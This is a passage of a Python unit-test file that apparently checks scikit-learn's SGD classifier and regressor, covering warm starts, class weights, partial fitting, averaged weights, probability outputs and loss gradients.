        # Provided coef_ does not match dataset.
        self.factory().fit(X, Y, coef_init=np.zeros((3,)))

    @raises(ValueError)
    def test_set_intercept(self):
        # Checks intercept_ shape for the warm starts
        # Provided intercept_ does not match dataset.
        self.factory().fit(X, Y, intercept_init=np.zeros((3,)))

    def test_set_intercept_binary(self):
        # Checks intercept_ shape for the warm starts in binary case
        self.factory().fit(X5, Y5, intercept_init=0)

    def test_average_binary_computed_correctly(self):
        # Checks the SGDClassifier correctly computes the average weights
        eta = .1
        alpha = 2.
        n_samples = 20
        n_features = 10
        rng = np.random.RandomState(0)
        X = rng.normal(size=(n_samples, n_features))
        w = rng.normal(size=n_features)

        clf = self.factory(loss='squared_loss',
                           learning_rate='constant',
                           eta0=eta, alpha=alpha,
                           fit_intercept=True,
                           n_iter=1, average=True, shuffle=False)

        # simple linear function without noise
        y = np.dot(X, w)
        y = np.sign(y)

        clf.fit(X, y)

        average_weights, average_intercept = self.asgd(X, y, eta, alpha)
        average_weights = average_weights.reshape(1, -1)
        assert_array_almost_equal(clf.coef_,
                                  average_weights,
                                  decimal=14)
        assert_almost_equal(clf.intercept_, average_intercept, decimal=14)

    def test_set_intercept_to_intercept(self):
        # Checks intercept_ shape consistency for the warm starts
        # Inconsistent intercept_ shape.
        clf = self.factory().fit(X5, Y5)
        self.factory().fit(X5, Y5, intercept_init=clf.intercept_)
        clf = self.factory().fit(X, Y)
        self.factory().fit(X, Y, intercept_init=clf.intercept_)

    @raises(ValueError)
    def test_sgd_at_least_two_labels(self):
        # Target must have at least two labels
        self.factory(alpha=0.01, n_iter=20).fit(X2, np.ones(9))

    def test_partial_fit_weight_class_balanced(self):
        # partial_fit with class_weight='balanced' not supported"""
        assert_raises_regexp(ValueError,
                             "class_weight 'balanced' is not supported for "
                             "partial_fit. In order to use 'balanced' weights, "
                             "use compute_class_weight\('balanced', classes, y\). "
                             "In place of y you can us a large enough sample "
                             "of the full training set target to properly "
                             "estimate the class frequency distributions. "
                             "Pass the resulting weights as the class_weight "
                             "parameter.",
                             self.factory(class_weight='balanced').partial_fit,
                             X, Y, classes=np.unique(Y))

    def test_sgd_multiclass(self):
        # Multi-class test case
        clf = self.factory(alpha=0.01, n_iter=20).fit(X2, Y2)
        assert_equal(clf.coef_.shape, (3, 2))
        assert_equal(clf.intercept_.shape, (3,))
        assert_equal(clf.decision_function([[0, 0]]).shape, (1, 3))
        pred = clf.predict(T2)
        assert_array_equal(pred, true_result2)

    def test_sgd_multiclass_average(self):
        eta = .001
        alpha = .01
        # Multi-class average test case
        clf = self.factory(loss='squared_loss',
                           learning_rate='constant',
                           eta0=eta, alpha=alpha,
                           fit_intercept=True,
                           n_iter=1, average=True, shuffle=False)

        np_Y2 = np.array(Y2)
        clf.fit(X2, np_Y2)
        classes = np.unique(np_Y2)

        for i, cl in enumerate(classes):
            y_i = np.ones(np_Y2.shape[0])
            y_i[np_Y2 != cl] = -1
            average_coef, average_intercept = self.asgd(X2, y_i, eta, alpha)
            assert_array_almost_equal(average_coef, clf.coef_[i], decimal=16)
            assert_almost_equal(average_intercept,
                                clf.intercept_[i],
                                decimal=16)

    def test_sgd_multiclass_with_init_coef(self):
        # Multi-class test case
        clf = self.factory(alpha=0.01, n_iter=20)
        clf.fit(X2, Y2, coef_init=np.zeros((3, 2)),
                intercept_init=np.zeros(3))
        assert_equal(clf.coef_.shape, (3, 2))
        assert_true(clf.intercept_.shape, (3,))
        pred = clf.predict(T2)
        assert_array_equal(pred, true_result2)

    def test_sgd_multiclass_njobs(self):
        # Multi-class test case with multi-core support
        clf = self.factory(alpha=0.01, n_iter=20, n_jobs=2).fit(X2, Y2)
        assert_equal(clf.coef_.shape, (3, 2))
        assert_equal(clf.intercept_.shape, (3,))
        assert_equal(clf.decision_function([[0, 0]]).shape, (1, 3))
        pred = clf.predict(T2)
        assert_array_equal(pred, true_result2)

    def test_set_coef_multiclass(self):
        # Checks coef_init and intercept_init shape for multi-class
        # problems
        # Provided coef_ does not match dataset
        clf = self.factory()
        assert_raises(ValueError, clf.fit, X2, Y2, coef_init=np.zeros((2, 2)))

        # Provided coef_ does match dataset
        clf = self.factory().fit(X2, Y2, coef_init=np.zeros((3, 2)))

        # Provided intercept_ does not match dataset
        clf = self.factory()
        assert_raises(ValueError, clf.fit, X2, Y2,
                      intercept_init=np.zeros((1,)))

        # Provided intercept_ does match dataset.
        clf = self.factory().fit(X2, Y2, intercept_init=np.zeros((3,)))

    def test_sgd_proba(self):
        # Check SGD.predict_proba

        # Hinge loss does not allow for conditional prob estimate.
        # We cannot use the factory here, because it defines predict_proba
        # anyway.
        clf = SGDClassifier(loss="hinge", alpha=0.01, n_iter=10).fit(X, Y)
        assert_false(hasattr(clf, "predict_proba"))
        assert_false(hasattr(clf, "predict_log_proba"))

        # log and modified_huber losses can output probability estimates
        # binary case
        for loss in ["log", "modified_huber"]:
            clf = self.factory(loss="modified_huber", alpha=0.01, n_iter=10)
            clf.fit(X, Y)
            p = clf.predict_proba([[3, 2]])
            assert_true(p[0, 1] > 0.5)
            p = clf.predict_proba([[-1, -1]])
            assert_true(p[0, 1] < 0.5)

            p = clf.predict_log_proba([[3, 2]])
            assert_true(p[0, 1] > p[0, 0])
            p = clf.predict_log_proba([[-1, -1]])
            assert_true(p[0, 1] < p[0, 0])

        # log loss multiclass probability estimates
        clf = self.factory(loss="log", alpha=0.01, n_iter=10).fit(X2, Y2)

        d = clf.decision_function([[.1, -.1], [.3, .2]])
        p = clf.predict_proba([[.1, -.1], [.3, .2]])
        assert_array_equal(np.argmax(p, axis=1), np.argmax(d, axis=1))
        assert_almost_equal(p[0].sum(), 1)
        assert_true(np.all(p[0] >= 0))

        p = clf.predict_proba([[-1, -1]])
        d = clf.decision_function([[-1, -1]])
        assert_array_equal(np.argsort(p[0]), np.argsort(d[0]))

        l = clf.predict_log_proba([[3, 2]])
        p = clf.predict_proba([[3, 2]])
        assert_array_almost_equal(np.log(p), l)

        l = clf.predict_log_proba([[-1, -1]])
        p = clf.predict_proba([[-1, -1]])
        assert_array_almost_equal(np.log(p), l)

        # Modified Huber multiclass probability estimates; requires a separate
        # test because the hard zero/one probabilities may destroy the
        # ordering present in decision_function output.
        clf = self.factory(loss="modified_huber", alpha=0.01, n_iter=10)
        clf.fit(X2, Y2)
        d = clf.decision_function([[3, 2]])
        p = clf.predict_proba([[3, 2]])
        if not isinstance(self, SparseSGDClassifierTestCase):
            assert_equal(np.argmax(d, axis=1), np.argmax(p, axis=1))
        else:   # XXX the sparse test gets a different X2 (?)
            assert_equal(np.argmin(d, axis=1), np.argmin(p, axis=1))

        # the following sample produces decision_function values < -1,
        # which would cause naive normalization to fail (see comment
        # in SGDClassifier.predict_proba)
        x = X.mean(axis=0)
        d = clf.decision_function([x])
        if np.all(d < -1):  # XXX not true in sparse test case (why?)
            p = clf.predict_proba([x])
            assert_array_almost_equal(p[0], [1 / 3.] * 3)

    def test_sgd_l1(self):
        # Test L1 regularization
        n = len(X4)
        rng = np.random.RandomState(13)
        idx = np.arange(n)
        rng.shuffle(idx)

        X = X4[idx, :]
        Y = Y4[idx]

        clf = self.factory(penalty='l1', alpha=.2, fit_intercept=False,
                           n_iter=2000, shuffle=False)
        clf.fit(X, Y)
        assert_array_equal(clf.coef_[0, 1:-1], np.zeros((4,)))
        pred = clf.predict(X)
        assert_array_equal(pred, Y)

        # test sparsify with dense inputs
        clf.sparsify()
        assert_true(sp.issparse(clf.coef_))
        pred = clf.predict(X)
        assert_array_equal(pred, Y)

        # pickle and unpickle with sparse coef_
        clf = pickle.loads(pickle.dumps(clf))
        assert_true(sp.issparse(clf.coef_))
        pred = clf.predict(X)
        assert_array_equal(pred, Y)

    def test_class_weights(self):
        # Test class weights.
        X = np.array([[-1.0, -1.0], [-1.0, 0], [-.8, -1.0],
                      [1.0, 1.0], [1.0, 0.0]])
        y = [1, 1, 1, -1, -1]

        clf = self.factory(alpha=0.1, n_iter=1000, fit_intercept=False,
                           class_weight=None)
        clf.fit(X, y)
        assert_array_equal(clf.predict([[0.2, -1.0]]), np.array([1]))

        # we give a small weights to class 1
        clf = self.factory(alpha=0.1, n_iter=1000, fit_intercept=False,
                           class_weight={1: 0.001})
        clf.fit(X, y)

        # now the hyperplane should rotate clock-wise and
        # the prediction on this point should shift
        assert_array_equal(clf.predict([[0.2, -1.0]]), np.array([-1]))

    def test_equal_class_weight(self):
        # Test if equal class weights approx. equals no class weights.
        X = [[1, 0], [1, 0], [0, 1], [0, 1]]
        y = [0, 0, 1, 1]
        clf = self.factory(alpha=0.1, n_iter=1000, class_weight=None)
        clf.fit(X, y)

        X = [[1, 0], [0, 1]]
        y = [0, 1]
        clf_weighted = self.factory(alpha=0.1, n_iter=1000,
                                    class_weight={0: 0.5, 1: 0.5})
        clf_weighted.fit(X, y)

        # should be similar up to some epsilon due to learning rate schedule
        assert_almost_equal(clf.coef_, clf_weighted.coef_, decimal=2)

    @raises(ValueError)
    def test_wrong_class_weight_label(self):
        # ValueError due to not existing class label.
        clf = self.factory(alpha=0.1, n_iter=1000, class_weight={0: 0.5})
        clf.fit(X, Y)

    @raises(ValueError)
    def test_wrong_class_weight_format(self):
        # ValueError due to wrong class_weight argument type.
        clf = self.factory(alpha=0.1, n_iter=1000, class_weight=[0.5])
        clf.fit(X, Y)

    def test_weights_multiplied(self):
        # Tests that class_weight and sample_weight are multiplicative
        class_weights = {1: .6, 2: .3}
        sample_weights = np.random.random(Y4.shape[0])
        multiplied_together = np.copy(sample_weights)
        multiplied_together[Y4 == 1] *= class_weights[1]
        multiplied_together[Y4 == 2] *= class_weights[2]

        clf1 = self.factory(alpha=0.1, n_iter=20, class_weight=class_weights)
        clf2 = self.factory(alpha=0.1, n_iter=20)

        clf1.fit(X4, Y4, sample_weight=sample_weights)
        clf2.fit(X4, Y4, sample_weight=multiplied_together)

        assert_almost_equal(clf1.coef_, clf2.coef_)

    def test_balanced_weight(self):
        # Test class weights for imbalanced data"""
        # compute reference metrics on iris dataset that is quite balanced by
        # default
        X, y = iris.data, iris.target
        X = scale(X)
        idx = np.arange(X.shape[0])
        rng = np.random.RandomState(6)
        rng.shuffle(idx)
        X = X[idx]
        y = y[idx]
        clf = self.factory(alpha=0.0001, n_iter=1000,
                           class_weight=None, shuffle=False).fit(X, y)
        assert_almost_equal(metrics.f1_score(y, clf.predict(X), average='weighted'), 0.96,
                            decimal=1)

        # make the same prediction using balanced class_weight
        clf_balanced = self.factory(alpha=0.0001, n_iter=1000,
                                    class_weight="balanced",
                                    shuffle=False).fit(X, y)
        assert_almost_equal(metrics.f1_score(y, clf_balanced.predict(X), average='weighted'), 0.96,
                            decimal=1)

        # Make sure that in the balanced case it does not change anything
        # to use "balanced"
        assert_array_almost_equal(clf.coef_, clf_balanced.coef_, 6)

        # build an very very imbalanced dataset out of iris data
        X_0 = X[y == 0, :]
        y_0 = y[y == 0]

        X_imbalanced = np.vstack([X] + [X_0] * 10)
        y_imbalanced = np.concatenate([y] + [y_0] * 10)

        # fit a model on the imbalanced data without class weight info
        clf = self.factory(n_iter=1000, class_weight=None, shuffle=False)
        clf.fit(X_imbalanced, y_imbalanced)
        y_pred = clf.predict(X)
        assert_less(metrics.f1_score(y, y_pred, average='weighted'), 0.96)

        # fit a model with balanced class_weight enabled
        clf = self.factory(n_iter=1000, class_weight="balanced", shuffle=False)
        clf.fit(X_imbalanced, y_imbalanced)
        y_pred = clf.predict(X)
        assert_greater(metrics.f1_score(y, y_pred, average='weighted'), 0.96)

        # fit another using a fit parameter override
        clf = self.factory(n_iter=1000, class_weight="balanced", shuffle=False)
        clf.fit(X_imbalanced, y_imbalanced)
        y_pred = clf.predict(X)
        assert_greater(metrics.f1_score(y, y_pred, average='weighted'), 0.96)

    def test_sample_weights(self):
        # Test weights on individual samples
        X = np.array([[-1.0, -1.0], [-1.0, 0], [-.8, -1.0],
                      [1.0, 1.0], [1.0, 0.0]])
        y = [1, 1, 1, -1, -1]

        clf = self.factory(alpha=0.1, n_iter=1000, fit_intercept=False)
        clf.fit(X, y)
        assert_array_equal(clf.predict([[0.2, -1.0]]), np.array([1]))

        # we give a small weights to class 1
        clf.fit(X, y, sample_weight=[0.001] * 3 + [1] * 2)

        # now the hyperplane should rotate clock-wise and
        # the prediction on this point should shift
        assert_array_equal(clf.predict([[0.2, -1.0]]), np.array([-1]))

    @raises(ValueError)
    def test_wrong_sample_weights(self):
        # Test if ValueError is raised if sample_weight has wrong shape
        clf = self.factory(alpha=0.1, n_iter=1000, fit_intercept=False)
        # provided sample_weight too long
        clf.fit(X, Y, sample_weight=np.arange(7))

    @raises(ValueError)
    def test_partial_fit_exception(self):
        clf = self.factory(alpha=0.01)
        # classes was not specified
        clf.partial_fit(X3, Y3)

    def test_partial_fit_binary(self):
        third = X.shape[0] // 3
        clf = self.factory(alpha=0.01)
        classes = np.unique(Y)

        clf.partial_fit(X[:third], Y[:third], classes=classes)
        assert_equal(clf.coef_.shape, (1, X.shape[1]))
        assert_equal(clf.intercept_.shape, (1,))
        assert_equal(clf.decision_function([[0, 0]]).shape, (1, ))
        id1 = id(clf.coef_.data)

        clf.partial_fit(X[third:], Y[third:])
        id2 = id(clf.coef_.data)
        # check that coef_ haven't been re-allocated
        assert_true(id1, id2)

        y_pred = clf.predict(T)
        assert_array_equal(y_pred, true_result)

    def test_partial_fit_multiclass(self):
        third = X2.shape[0] // 3
        clf = self.factory(alpha=0.01)
        classes = np.unique(Y2)

        clf.partial_fit(X2[:third], Y2[:third], classes=classes)
        assert_equal(clf.coef_.shape, (3, X2.shape[1]))
        assert_equal(clf.intercept_.shape, (3,))
        assert_equal(clf.decision_function([[0, 0]]).shape, (1, 3))
        id1 = id(clf.coef_.data)

        clf.partial_fit(X2[third:], Y2[third:])
        id2 = id(clf.coef_.data)
        # check that coef_ haven't been re-allocated
        assert_true(id1, id2)

    def test_partial_fit_multiclass_average(self):
        third = X2.shape[0] // 3
        clf = self.factory(alpha=0.01, average=X2.shape[0])
        classes = np.unique(Y2)

        clf.partial_fit(X2[:third], Y2[:third], classes=classes)
        assert_equal(clf.coef_.shape, (3, X2.shape[1]))
        assert_equal(clf.intercept_.shape, (3,))

        clf.partial_fit(X2[third:], Y2[third:])
        assert_equal(clf.coef_.shape, (3, X2.shape[1]))
        assert_equal(clf.intercept_.shape, (3,))

    def test_fit_then_partial_fit(self):
        # Partial_fit should work after initial fit in the multiclass case.
        # Non-regression test for #2496; fit would previously produce a
        # Fortran-ordered coef_ that subsequent partial_fit couldn't handle.
        clf = self.factory()
        clf.fit(X2, Y2)
        clf.partial_fit(X2, Y2)     # no exception here

    def _test_partial_fit_equal_fit(self, lr):
        for X_, Y_, T_ in ((X, Y, T), (X2, Y2, T2)):
            clf = self.factory(alpha=0.01, eta0=0.01, n_iter=2,
                               learning_rate=lr, shuffle=False)
            clf.fit(X_, Y_)
            y_pred = clf.decision_function(T_)
            t = clf.t_

            classes = np.unique(Y_)
            clf = self.factory(alpha=0.01, eta0=0.01, learning_rate=lr,
                               shuffle=False)
            for i in range(2):
                clf.partial_fit(X_, Y_, classes=classes)
            y_pred2 = clf.decision_function(T_)

            assert_equal(clf.t_, t)
            assert_array_almost_equal(y_pred, y_pred2, decimal=2)

    def test_partial_fit_equal_fit_constant(self):
        self._test_partial_fit_equal_fit("constant")

    def test_partial_fit_equal_fit_optimal(self):
        self._test_partial_fit_equal_fit("optimal")

    def test_partial_fit_equal_fit_invscaling(self):
        self._test_partial_fit_equal_fit("invscaling")

    def test_regression_losses(self):
        clf = self.factory(alpha=0.01, learning_rate="constant",
                           eta0=0.1, loss="epsilon_insensitive")
        clf.fit(X, Y)
        assert_equal(1.0, np.mean(clf.predict(X) == Y))

        clf = self.factory(alpha=0.01, learning_rate="constant",
                           eta0=0.1, loss="squared_epsilon_insensitive")
        clf.fit(X, Y)
        assert_equal(1.0, np.mean(clf.predict(X) == Y))

        clf = self.factory(alpha=0.01, loss="huber")
        clf.fit(X, Y)
        assert_equal(1.0, np.mean(clf.predict(X) == Y))

        clf = self.factory(alpha=0.01, learning_rate="constant", eta0=0.01,
                           loss="squared_loss")
        clf.fit(X, Y)
        assert_equal(1.0, np.mean(clf.predict(X) == Y))

    def test_warm_start_multiclass(self):
        self._test_warm_start(X2, Y2, "optimal")

    def test_multiple_fit(self):
        # Test multiple calls of fit w/ different shaped inputs.
        clf = self.factory(alpha=0.01, n_iter=5,
                           shuffle=False)
        clf.fit(X, Y)
        assert_true(hasattr(clf, "coef_"))

        # Non-regression test: try fitting with a different label set.
        y = [["ham", "spam"][i] for i in LabelEncoder().fit_transform(Y)]
        clf.fit(X[:, :-1], y)


class SparseSGDClassifierTestCase(DenseSGDClassifierTestCase):
    """Run exactly the same tests using the sparse representation variant"""

    factory_class = SparseSGDClassifier


###############################################################################
# Regression Test Case

class DenseSGDRegressorTestCase(unittest.TestCase, CommonTest):
    """Test suite for the dense representation variant of SGD"""

    factory_class = SGDRegressor

    def test_sgd(self):
        # Check that SGD gives any results.
        clf = self.factory(alpha=0.1, n_iter=2,
                           fit_intercept=False)
        clf.fit([[0, 0], [1, 1], [2, 2]], [0, 1, 2])
        assert_equal(clf.coef_[0], clf.coef_[1])

    @raises(ValueError)
    def test_sgd_bad_penalty(self):
        # Check whether expected ValueError on bad penalty
        self.factory(penalty='foobar', l1_ratio=0.85)

    @raises(ValueError)
    def test_sgd_bad_loss(self):
        # Check whether expected ValueError on bad loss
        self.factory(loss="foobar")

    def test_sgd_averaged_computed_correctly(self):
        # Tests the average regressor matches the naive implementation

        eta = .001
        alpha = .01
        n_samples = 20
        n_features = 10
        rng = np.random.RandomState(0)
        X = rng.normal(size=(n_samples, n_features))
        w = rng.normal(size=n_features)

        # simple linear function without noise
        y = np.dot(X, w)

        clf = self.factory(loss='squared_loss',
                           learning_rate='constant',
                           eta0=eta, alpha=alpha,
                           fit_intercept=True,
                           n_iter=1, average=True, shuffle=False)

        clf.fit(X, y)
        average_weights, average_intercept = self.asgd(X, y, eta, alpha)

        assert_array_almost_equal(clf.coef_,
                                  average_weights,
                                  decimal=16)
        assert_almost_equal(clf.intercept_, average_intercept, decimal=16)

    def test_sgd_averaged_partial_fit(self):
        # Tests whether the partial fit yields the same average as the fit
        eta = .001
        alpha = .01
        n_samples = 20
        n_features = 10
        rng = np.random.RandomState(0)
        X = rng.normal(size=(n_samples, n_features))
        w = rng.normal(size=n_features)

        # simple linear function without noise
        y = np.dot(X, w)

        clf = self.factory(loss='squared_loss',
                           learning_rate='constant',
                           eta0=eta, alpha=alpha,
                           fit_intercept=True,
                           n_iter=1, average=True, shuffle=False)

        clf.partial_fit(X[:int(n_samples / 2)][:], y[:int(n_samples / 2)])
        clf.partial_fit(X[int(n_samples / 2):][:], y[int(n_samples / 2):])
        average_weights, average_intercept = self.asgd(X, y, eta, alpha)

        assert_array_almost_equal(clf.coef_,
                                  average_weights,
                                  decimal=16)
        assert_almost_equal(clf.intercept_[0], average_intercept, decimal=16)

    def test_average_sparse(self):
        # Checks the average weights on data with 0s

        eta = .001
        alpha = .01
        clf = self.factory(loss='squared_loss',
                           learning_rate='constant',
                           eta0=eta, alpha=alpha,
                           fit_intercept=True,
                           n_iter=1, average=True, shuffle=False)

        n_samples = Y3.shape[0]

        clf.partial_fit(X3[:int(n_samples / 2)][:], Y3[:int(n_samples / 2)])
        clf.partial_fit(X3[int(n_samples / 2):][:], Y3[int(n_samples / 2):])
        average_weights, average_intercept = self.asgd(X3, Y3, eta, alpha)

        assert_array_almost_equal(clf.coef_,
                                  average_weights,
                                  decimal=16)
        assert_almost_equal(clf.intercept_, average_intercept, decimal=16)

    def test_sgd_least_squares_fit(self):
        xmin, xmax = -5, 5
        n_samples = 100
        rng = np.random.RandomState(0)
        X = np.linspace(xmin, xmax, n_samples).reshape(n_samples, 1)

        # simple linear function without noise
        y = 0.5 * X.ravel()

        clf = self.factory(loss='squared_loss', alpha=0.1, n_iter=20,
                           fit_intercept=False)
        clf.fit(X, y)
        score = clf.score(X, y)
        assert_greater(score, 0.99)

        # simple linear function with noise
        y = 0.5 * X.ravel() + rng.randn(n_samples, 1).ravel()

        clf = self.factory(loss='squared_loss', alpha=0.1, n_iter=20,
                           fit_intercept=False)
        clf.fit(X, y)
        score = clf.score(X, y)
        assert_greater(score, 0.5)

    def test_sgd_epsilon_insensitive(self):
        xmin, xmax = -5, 5
        n_samples = 100
        X = np.linspace(xmin, xmax, n_samples).reshape(n_samples, 1)

        # simple linear function without noise
        y = 0.5 * X.ravel()

        clf = self.factory(loss='epsilon_insensitive', epsilon=0.01,
                           alpha=0.1, n_iter=20,
                           fit_intercept=False)
        clf.fit(X, y)
        score = clf.score(X, y)
        assert_true(score > 0.99)

        # simple linear function with noise
        y = 0.5 * X.ravel() \
            + np.random.randn(n_samples, 1).ravel()

        clf = self.factory(loss='epsilon_insensitive', epsilon=0.01,
                           alpha=0.1, n_iter=20,
                           fit_intercept=False)
        clf.fit(X, y)
        score = clf.score(X, y)
        assert_true(score > 0.5)

    def test_sgd_huber_fit(self):
        xmin, xmax = -5, 5
        n_samples = 100
        rng = np.random.RandomState(0)
        X = np.linspace(xmin, xmax, n_samples).reshape(n_samples, 1)

        # simple linear function without noise
        y = 0.5 * X.ravel()

        clf = self.factory(loss="huber", epsilon=0.1, alpha=0.1, n_iter=20,
                           fit_intercept=False)
        clf.fit(X, y)
        score = clf.score(X, y)
        assert_greater(score, 0.99)

        # simple linear function with noise
        y = 0.5 * X.ravel() + rng.randn(n_samples, 1).ravel()

        clf = self.factory(loss="huber", epsilon=0.1, alpha=0.1, n_iter=20,
                           fit_intercept=False)
        clf.fit(X, y)
        score = clf.score(X, y)
        assert_greater(score, 0.5)

    def test_elasticnet_convergence(self):
        # Check that the SGD output is consistent with coordinate descent

        n_samples, n_features = 1000, 5
        rng = np.random.RandomState(0)
        X = np.random.randn(n_samples, n_features)
        # ground_truth linear model that generate y from X and to which the
        # models should converge if the regularizer would be set to 0.0
        ground_truth_coef = rng.randn(n_features)
        y = np.dot(X, ground_truth_coef)

        # XXX: alpha = 0.1 seems to cause convergence problems
        for alpha in [0.01, 0.001]:
            for l1_ratio in [0.5, 0.8, 1.0]:
                cd = linear_model.ElasticNet(alpha=alpha, l1_ratio=l1_ratio,
                                             fit_intercept=False)
                cd.fit(X, y)
                sgd = self.factory(penalty='elasticnet', n_iter=50,
                                   alpha=alpha, l1_ratio=l1_ratio,
                                   fit_intercept=False)
                sgd.fit(X, y)
                err_msg = ("cd and sgd did not converge to comparable "
                           "results for alpha=%f and l1_ratio=%f"
                           % (alpha, l1_ratio))
                assert_almost_equal(cd.coef_, sgd.coef_, decimal=2,
                                    err_msg=err_msg)

    @ignore_warnings
    def test_partial_fit(self):
        third = X.shape[0] // 3
        clf = self.factory(alpha=0.01)

        clf.partial_fit(X[:third], Y[:third])
        assert_equal(clf.coef_.shape, (X.shape[1], ))
        assert_equal(clf.intercept_.shape, (1,))
        assert_equal(clf.predict([[0, 0]]).shape, (1, ))
        id1 = id(clf.coef_.data)

        clf.partial_fit(X[third:], Y[third:])
        id2 = id(clf.coef_.data)
        # check that coef_ haven't been re-allocated
        assert_true(id1, id2)

    def _test_partial_fit_equal_fit(self, lr):
        clf = self.factory(alpha=0.01, n_iter=2, eta0=0.01,
                           learning_rate=lr, shuffle=False)
        clf.fit(X, Y)
        y_pred = clf.predict(T)
        t = clf.t_

        clf = self.factory(alpha=0.01, eta0=0.01,
                           learning_rate=lr, shuffle=False)
        for i in range(2):
            clf.partial_fit(X, Y)
        y_pred2 = clf.predict(T)

        assert_equal(clf.t_, t)
        assert_array_almost_equal(y_pred, y_pred2, decimal=2)

    def test_partial_fit_equal_fit_constant(self):
        self._test_partial_fit_equal_fit("constant")

    def test_partial_fit_equal_fit_optimal(self):
        self._test_partial_fit_equal_fit("optimal")

    def test_partial_fit_equal_fit_invscaling(self):
        self._test_partial_fit_equal_fit("invscaling")

    def test_loss_function_epsilon(self):
        clf = self.factory(epsilon=0.9)
        clf.set_params(epsilon=0.1)
        assert clf.loss_functions['huber'][1] == 0.1


class SparseSGDRegressorTestCase(DenseSGDRegressorTestCase):
    # Run exactly the same tests using the sparse representation variant

    factory_class = SparseSGDRegressor


def test_l1_ratio():
    # Test if l1 ratio extremes match L1 and L2 penalty settings.
    X, y = datasets.make_classification(n_samples=1000,
                                        n_features=100, n_informative=20,
                                        random_state=1234)

    # test if elasticnet with l1_ratio near 1 gives same result as pure l1
    est_en = SGDClassifier(alpha=0.001, penalty='elasticnet',
                           l1_ratio=0.9999999999, random_state=42).fit(X, y)
    est_l1 = SGDClassifier(alpha=0.001, penalty='l1', random_state=42).fit(X, y)
    assert_array_almost_equal(est_en.coef_, est_l1.coef_)

    # test if elasticnet with l1_ratio near 0 gives same result as pure l2
    est_en = SGDClassifier(alpha=0.001, penalty='elasticnet',
                           l1_ratio=0.0000000001, random_state=42).fit(X, y)
    est_l2 = SGDClassifier(alpha=0.001, penalty='l2', random_state=42).fit(X, y)
    assert_array_almost_equal(est_en.coef_, est_l2.coef_)


def test_underflow_or_overlow():
    with np.errstate(all='raise'):
        # Generate some weird data with hugely unscaled features
        rng = np.random.RandomState(0)
        n_samples = 100
        n_features = 10

        X = rng.normal(size=(n_samples, n_features))
        X[:, :2] *= 1e300
        assert_true(np.isfinite(X).all())

        # Use MinMaxScaler to scale the data without introducing a numerical
        # instability (computing the standard deviation naively is not possible
        # on this data)
        X_scaled = MinMaxScaler().fit_transform(X)
        assert_true(np.isfinite(X_scaled).all())

        # Define a ground truth on the scaled data
        ground_truth = rng.normal(size=n_features)
        y = (np.dot(X_scaled, ground_truth) > 0.).astype(np.int32)
        assert_array_equal(np.unique(y), [0, 1])

        model = SGDClassifier(alpha=0.1, loss='squared_hinge', n_iter=500)

        # smoke test: model is stable on scaled data
        model.fit(X_scaled, y)
        assert_true(np.isfinite(model.coef_).all())

        # model is numerically unstable on unscaled data
        msg_regxp = (r"Floating-point under-/overflow occurred at epoch #.*"
                     " Scaling input data with StandardScaler or MinMaxScaler"
                     " might help.")
        assert_raises_regexp(ValueError, msg_regxp, model.fit, X, y)


def test_numerical_stability_large_gradient():
    # Non regression test case for numerical stability on scaled problems
    # where the gradient can still explode with some losses
    model = SGDClassifier(loss='squared_hinge', n_iter=10, shuffle=True,
                          penalty='elasticnet', l1_ratio=0.3, alpha=0.01,
                          eta0=0.001, random_state=0)
    with np.errstate(all='raise'):
        model.fit(iris.data, iris.target)
    assert_true(np.isfinite(model.coef_).all())


def test_large_regularization():
    # Non regression tests for numerical stability issues caused by large
    # regularization parameters
    for penalty in ['l2', 'l1', 'elasticnet']:
        model = SGDClassifier(alpha=1e5, learning_rate='constant', eta0=0.1,
                              n_iter=5, penalty=penalty, shuffle=False)
        with np.errstate(all='raise'):
            model.fit(iris.data, iris.target)
        assert_array_almost_equal(model.coef_, np.zeros_like(model.coef_))


def _test_gradient_common(loss_function, cases):
    # Test gradient of different loss functions
    # cases is a list of (p, y, expected)
    for p, y, expected in cases:
        assert_almost_equal(loss_function.dloss(p, y), expected)


def test_gradient_hinge():
    # Test Hinge (hinge / perceptron)
    # hinge
    loss = sgd_fast.Hinge(1.0)
    cases = [
        # (p, y, expected)
        (1.1, 1.0, 0.0), (-2.0, -1.0, 0.0),
        (1.0, 1.0, -1.0), (-1.0, -1.0, 1.0), (0.5, 1.0, -1.0),
        (2.0, -1.0, 1.0), (-0.5, -1.0, 1.0), (0.0, 1.0, -1.0)
    ]
    _test_gradient_common(loss, cases)

    # perceptron
    loss = sgd_fast.Hinge(0.0)
    cases = [
        # (p, y, expected)
        (1.0, 1.0, 0.0), (-0.1, -1.0, 0.0),
        (0.0, 1.0, -1.0), (0.0, -1.0, 1.0), (0.5, -1.0, 1.0),
        (2.0, -1.0, 1.0), (-0.5, 1.0, -1.0), (-1.0, 1.0, -1.0),
    ]
    _test_gradient_common(loss, cases)


def test_gradient_squared_hinge():
    # Test SquaredHinge
    loss = sgd_fast.SquaredHinge(1.0)
    cases = [
        # (p, y, expected)
        (1.0, 1.0, 0.0), (-2.0, -1.0, 0.0), (1.0, -1.0, 4.0),
        (-1.0, 1.0, -4.0), (0.5, 1.0, -1.0), (0.5, -1.0, 3.0)
    ]
    _test_gradient_common(loss, cases)


def test_gradient_log():
    # Test Log (logistic loss)
    loss = sgd_fast.Log()
    cases = [
        # (p, y, expected)
        (1.0, 1.0, -1.0 / (np.exp(1.0) + 1.0)),
        (1.0, -1.0, 1.0 / (np.exp(-1.0) + 1.0)),
        (-1.0, -1.0, 1.0 / (np.exp(1.0) + 1.0)),
        (-1.0, 1.0, -1.0 / (np.exp(-1.0) + 1.0)),
        (0.0, 1.0, -0.5), (0.0, -1.0, 0.5),
        (17.9, -1.0, 1.0), (-17.9, 1.0, -1.0),
    ]
    _test_gradient_common(loss, cases)
    assert_almost_equal(loss.dloss(18.1, 1.0), np.exp(-18.1) * -1.0, 16)
    assert_almost_equal(loss.dloss(-18.1, -1.0), np.exp(-18.1) * 1.0, 16)


def test_gradient_squared_loss():
    # Test SquaredLoss
    loss = sgd_fast.SquaredLoss()
    cases = [
        # (p, y, expected)
        (0.0, 0.0, 0.0), (1.0, 1.0, 0.0), (1.0, 0.0, 1.0),
        (0.5, -1.0, 1.5), (-2.5, 2.0, -4.5)
    ]
    _test_gradient_common(loss, cases)


def test_gradient_huber():
    # Test Huber
    loss = sgd_fast.Huber(0.1)
    cases = [
        # (p, y, expected)
        (0.0, 0.0, 0.0), (0.1, 0.0, 0.1), (0.0, 0.1, -0.1),
        (3.95, 4.0, -0.05), (5.0, 2.0, 0.1), (-1.0, 5.0, -0.1)
    ]
    _test_gradient_common(loss, cases)


def test_gradient_modified_huber():
